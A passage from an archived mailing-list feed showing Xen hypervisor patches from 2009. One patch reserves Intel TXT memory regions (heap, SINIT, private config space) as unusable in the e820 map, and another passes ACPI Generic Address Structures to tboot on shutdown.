&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* Split in two or three. */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( !remove )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memmove(&amp;e820-&amp;gt;map[i+2], &amp;e820-&amp;gt;map[i],
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;nr_map += 2;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = s - rs;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;i++;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].addr = s;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = e - s;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].type = new_type;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;i++;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].addr = e;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = re - e;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;memmove(&amp;e820-&amp;gt;map[i+1], &amp;e820-&amp;gt;map[i],
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;nr_map++;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = s - rs;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;i++;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].addr = e;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;e820-&amp;gt;map[i].size = re - e;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;{
&lt;br&gt;@@ -457,6 +512,18 @@ int __init reserve_e820_ram(struct e820m
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;+/* Set E820_RAM area (@s,@e) as RESERVED (or delete) in specified e820 map. */
&lt;br&gt;+int __init reserve_e820_ram(struct e820map *e820, uint64_t s, uint64_t e)
&lt;br&gt;+{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;return reserve_e820(e820, s, e, E820_RAM, E820_RESERVED);
&lt;br&gt;+}
&lt;br&gt;+
&lt;br&gt;+/* Set E820_RESERVED area (@s, @e) as UNUSABLE in specified e820 map. */
&lt;br&gt;+int reserve_e820_unusable(struct e820map *e820, uint64_t s, uint64_t e)
&lt;br&gt;+{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;return reserve_e820(e820, s, e, E820_RESERVED, E820_UNUSABLE);
&lt;br&gt;+}
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;unsigned long __init init_e820(
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;const char *str, struct e820entry *raw, int *raw_nr)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;diff -r 9ba8aecc3a15 -r 196ed4d1e316 xen/arch/x86/setup.c
&lt;br&gt;--- a/xen/arch/x86/setup.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/setup.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:12:49 2009 -0800
&lt;br&gt;@@ -1033,6 +1033,9 @@ void __init __start_xen(unsigned long mb
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( xen_cpuidle )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;xen_processor_pmbits |= XEN_PROCESSOR_PM_CX;
&lt;br&gt;&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !tboot_protect_mem_regions() )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;panic(&amp;quot;Could not protect TXT memory regions\n&amp;quot;);
&lt;br&gt;+
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/*
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; * We're going to setup domain0 using the module(s) that we stashed safely
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; * above our heap. The second module, if present, is an initrd ramdisk.
&lt;br&gt;diff -r 9ba8aecc3a15 -r 196ed4d1e316 xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:12:49 2009 -0800
&lt;br&gt;@@ -6,6 +6,7 @@
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/fixmap.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/page.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/processor.h&amp;gt;
&lt;br&gt;+#include &amp;lt;asm/e820.h&amp;gt;
&lt;br&gt;&amp;nbsp;#include &amp;lt;asm/tboot.h&amp;gt;
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* tboot=&amp;lt;physical address of shared page&amp;gt; */
&lt;br&gt;@@ -16,6 +17,23 @@ tboot_shared_t *g_tboot_shared;
&lt;br&gt;&amp;nbsp;tboot_shared_t *g_tboot_shared;
&lt;br&gt;&lt;br&gt;&amp;nbsp;static const uuid_t tboot_shared_uuid = TBOOT_SHARED_UUID;
&lt;br&gt;+
&lt;br&gt;+/*
&lt;br&gt;+ * TXT configuration registers (offsets from TXT_{PUB, PRIV}_CONFIG_REGS_BASE)
&lt;br&gt;+ */
&lt;br&gt;+
&lt;br&gt;+#define TXT_PUB_CONFIG_REGS_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; 0xfed30000
&lt;br&gt;+#define TXT_PRIV_CONFIG_REGS_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp;0xfed20000
&lt;br&gt;+
&lt;br&gt;+/* # pages for each config regs space - used by fixmap */
&lt;br&gt;+#define NR_TXT_CONFIG_PAGES &amp;nbsp; &amp;nbsp; ((TXT_PUB_CONFIG_REGS_BASE - &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TXT_PRIV_CONFIG_REGS_BASE) &amp;gt;&amp;gt; PAGE_SHIFT)
&lt;br&gt;+
&lt;br&gt;+/* offsets from pub/priv config space */
&lt;br&gt;+#define TXTCR_SINIT_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0270
&lt;br&gt;+#define TXTCR_SINIT_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0278
&lt;br&gt;+#define TXTCR_HEAP_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0300
&lt;br&gt;+#define TXTCR_HEAP_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0308
&lt;br&gt;&lt;br&gt;&amp;nbsp;void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;@@ -84,6 +102,44 @@ int tboot_in_measured_env(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;return (g_tboot_shared != NULL);
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;+int tboot_protect_mem_regions(void)
&lt;br&gt;+{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t base, size;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t map_base, map_size;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;unsigned long map_addr;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !tboot_in_measured_env() )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(TXT_PUB_CONFIG_REGS_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_size = PFN_UP(NR_TXT_CONFIG_PAGES * PAGE_SIZE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_addr = (unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( map_pages_to_xen(map_addr, map_base, map_size, __PAGE_HYPERVISOR) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* TXT Heap */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;base = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;size = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_SIZE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !reserve_e820_unusable(&amp;e820, base, base + size) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* SINIT */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;base = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;size = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_SIZE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !reserve_e820_unusable(&amp;e820, base, base + size) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* TXT Private Space */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !reserve_e820_unusable(&amp;e820, TXT_PRIV_CONFIG_REGS_BASE,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TXT_PRIV_CONFIG_REGS_BASE + NR_TXT_CONFIG_PAGES * PAGE_SIZE) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;destroy_xen_mappings((unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT),
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (unsigned long)__va((map_base + map_size) &amp;lt;&amp;lt; PAGE_SHIFT));
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;+}
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;/*
&lt;br&gt;&amp;nbsp; * Local variables:
&lt;br&gt;&amp;nbsp; * mode: C
&lt;br&gt;diff -r 9ba8aecc3a15 -r 196ed4d1e316 xen/include/asm-x86/e820.h
&lt;br&gt;--- a/xen/include/asm-x86/e820.h &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/e820.h &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:12:49 2009 -0800
&lt;br&gt;@@ -24,6 +24,7 @@ struct e820map {
&lt;br&gt;&amp;nbsp;};
&lt;br&gt;&lt;br&gt;&amp;nbsp;extern int reserve_e820_ram(struct e820map *e820, uint64_t s, uint64_t e);
&lt;br&gt;+extern int reserve_e820_unusable(struct e820map *e820, uint64_t s, uint64_t e);
&lt;br&gt;&amp;nbsp;extern unsigned long init_e820(const char *, struct e820entry *, int *);
&lt;br&gt;&amp;nbsp;extern struct e820map e820;
&lt;br&gt;&lt;br&gt;diff -r 9ba8aecc3a15 -r 196ed4d1e316 xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 22:12:49 2009 -0800
&lt;br&gt;@@ -100,6 +100,7 @@ void tboot_probe(void);
&lt;br&gt;&amp;nbsp;void tboot_probe(void);
&lt;br&gt;&amp;nbsp;void tboot_shutdown(uint32_t shutdown_type);
&lt;br&gt;&amp;nbsp;int tboot_in_measured_env(void);
&lt;br&gt;+int tboot_protect_mem_regions(void);
&lt;br&gt;&lt;br&gt;&amp;nbsp;#endif /* __TBOOT_H__ */
&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723075&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-03c-protect_txt_ranges.patch&lt;/strong&gt; (12K) &lt;a href=&quot;http://old.nabble.com/attachment/21723075/0/xen-txt-03c-protect_txt_ranges.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH-v2--txt%3A-3-5---explicitly-protect-TXT-addr-ranges-from-dom0-tp21723075p21723075.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21723065</id>
	<title>[PATCH v2] txt: 2/5 - ACPI Generic Address Structure for tboot shutdown</title>
	<published>2009-01-29T00:55:10Z</published>
	<updated>2009-01-29T00:55:10Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">New versions of tboot support ACPI GAS (Generic Address Structure) for handling sleep states. &amp;nbsp;This required a change to the tboot_shared_t data structure that is not backwards compatible. &amp;nbsp;This patch requires that new version makes use of GAS when invoking tboot on shutdown.
&lt;br&gt;&lt;br&gt;Signed-off-by: Shane Wang &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723065&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shane.wang@...&lt;/a&gt;&amp;gt;
&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723065&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r ecb74962f6f4 -r 9ba8aecc3a15 xen/arch/x86/acpi/power.c
&lt;br&gt;--- a/xen/arch/x86/acpi/power.c Wed Jan 28 21:56:22 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/acpi/power.c Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;@@ -129,19 +129,13 @@ static void acpi_sleep_prepare(u32 state
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;wakeup_vector_va = __acpi_map_table(
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;acpi_sinfo.wakeup_vector, sizeof(uint64_t));
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( acpi_sinfo.vector_width == 32 )
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint32_t *)wakeup_vector_va =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;tboot_in_measured_env() ?
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint32_t)g_tboot_shared-&amp;gt;s3_tb_wakeup_entry :
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint32_t)bootsym_phys(wakeup_start);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;}
&lt;br&gt;- &amp;nbsp; &amp;nbsp;else
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint64_t *)wakeup_vector_va =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;tboot_in_measured_env() ?
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint64_t)g_tboot_shared-&amp;gt;s3_tb_wakeup_entry :
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(uint64_t)bootsym_phys(wakeup_start);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* tboot will set resume vector itself (when it is safe to do so) */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !tboot_in_measured_env() ) {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ( acpi_sinfo.vector_width == 32 )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint32_t *)wakeup_vector_va = (uint32_t)bootsym_phys(wakeup_start);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; else
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint64_t *)wakeup_vector_va = (uint64_t)bootsym_phys(wakeup_start);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;@@ -279,37 +273,47 @@ static int acpi_get_wake_status(void)
&lt;br&gt;&lt;br&gt;&amp;nbsp;static void tboot_sleep(u8 sleep_state)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;- &amp;nbsp; uint32_t shutdown_type;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t shutdown_type;
&lt;br&gt;&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_cnt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1a_cnt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_cnt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1b_cnt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_evt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1a_evt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_evt =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint16_t)acpi_sinfo.pm1b_evt_blk.address;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_cnt_val = acpi_sinfo.pm1a_cnt_val;
&lt;br&gt;- &amp;nbsp; g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_cnt_val = acpi_sinfo.pm1b_cnt_val;
&lt;br&gt;+#define TB_COPY_GAS(tbg, g) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tbg.space_id = g.space_id; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tbg.bit_width = g.bit_width; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tbg.bit_offset = g.bit_offset; &amp;nbsp; &amp;nbsp; &amp;nbsp;\
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tbg.access_width = g.access_width; &amp;nbsp;\
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tbg.address = g.address;
&lt;br&gt;&lt;br&gt;- &amp;nbsp; switch ( sleep_state )
&lt;br&gt;- &amp;nbsp; {
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; case ACPI_STATE_S3:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shutdown_type = TB_SHUTDOWN_S3;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g_tboot_shared-&amp;gt;s3_k_wakeup_entry =
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (uint32_t)bootsym_phys(wakeup_start);
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; case ACPI_STATE_S4:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shutdown_type = TB_SHUTDOWN_S4;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; case ACPI_STATE_S5:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shutdown_type = TB_SHUTDOWN_S5;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; default:
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return;
&lt;br&gt;- &amp;nbsp; }
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* sizes are not same (due to packing) so copy each one */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;TB_COPY_GAS(g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_cnt_blk,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; acpi_sinfo.pm1a_cnt_blk);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;TB_COPY_GAS(g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_cnt_blk,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; acpi_sinfo.pm1b_cnt_blk);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;TB_COPY_GAS(g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_evt_blk,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; acpi_sinfo.pm1a_evt_blk);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;TB_COPY_GAS(g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_evt_blk,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; acpi_sinfo.pm1b_evt_blk);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;acpi_sinfo.pm1a_cnt_val = acpi_sinfo.pm1a_cnt_val;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;acpi_sinfo.pm1b_cnt_val = acpi_sinfo.pm1b_cnt_val;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;acpi_sinfo.wakeup_vector = acpi_sinfo.wakeup_vector;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;acpi_sinfo.vector_width = acpi_sinfo.vector_width;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;g_tboot_shared-&amp;gt;acpi_sinfo.kernel_s3_resume_vector =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;bootsym_phys(wakeup_start);
